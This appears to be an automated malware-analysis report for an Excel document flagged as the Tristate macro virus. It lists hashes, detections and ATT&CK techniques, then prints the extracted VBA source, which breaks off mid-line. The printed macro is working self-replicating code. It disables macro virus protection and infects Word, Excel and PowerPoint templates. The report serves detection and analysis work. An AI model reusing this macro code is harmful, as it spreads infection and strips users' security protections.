Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 d19ec97520e0bcc9…

MALICIOUS

Office (OLE)

32.0 KB Created: 1999-01-22 23:45:08 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 003977ff20f561946387e133ec708ff9 SHA-1: 1b5f403c6d5d9b4867bc0f8876a86c537a3dd36a SHA-256: d19ec97520e0bcc96b934d7b51233b2f38514c4ccfccf363d39de4cc15946ab5
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro code within the sample attempts to establish persistence by modifying the Excel Normal.dot template and creating a workbook named 'Book1' in the startup path. It uses CreateObject and GetObject calls, indicative of malicious macro activity. The ClamAV detection of 'Win.Trojan.Tristate-2' and 'Doc.Trojan.Tristate-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9887 bytes
SHA-256: cbbf457380182c3d638780c1aa2a158e071f9ff833fa86f0911016bf2ed42cbc
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.11 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
            NewMod.CodeModule.ReplaceLine 110, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountOfLines
        AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            WQuit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        WordObj.Options.SaveNormalPrompt = False
        NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(1
... (truncated)

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